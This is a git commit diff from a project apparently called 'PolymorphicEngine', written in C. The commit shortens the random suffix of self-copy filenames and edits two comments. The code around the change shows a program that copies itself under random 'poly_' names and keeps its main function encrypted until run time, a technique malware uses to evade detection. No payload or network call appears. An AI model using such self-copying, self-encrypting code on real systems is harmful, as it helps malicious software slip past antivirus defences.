PolymorphicEngine
Barry Changing default config 8a21c42 (3 years, 5 months ago)diff --git a/src/main.c b/src/main.c index 5fd73d2..be08164 100644 --- a/src/main.c +++ b/src/main.c @@ -9,7 +9,7 @@ /* Config */ #define NAME_PREFIX "poly_" /* Copies' names start with */ #define NAME_PREFIX_LENGTH 5 /* Length of prefix */ -#define NAME_AFFIX_LENGTH 11 /* Number of random chars after prefix */ +#define NAME_AFFIX_LENGTH 6 /* Number of random chars after prefix */ #define KEY_SIZE 8 /* Size of encryption key */ #define ENCRYPTED __attribute__((noinline, section(".encrypted"))) @@ -93,13 +93,13 @@ copy_file(char *src, char *dst) fclose(child); } -/* Encrypted main */ +/* Encrypted main function */ ENCRYPTED int encrypted_main(int argc, char **argv) { char filename[NAME_PREFIX_LENGTH + NAME_AFFIX_LENGTH + 1] = NAME_PREFIX, - /* Possible characters in file name */ + /* Possible characters in filename */ alpha[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; uint8_t dKey[KEY_SIZE], dAct[KEY_SIZE], data, *code = (uint8_t *) encryptedStart; FILE *child;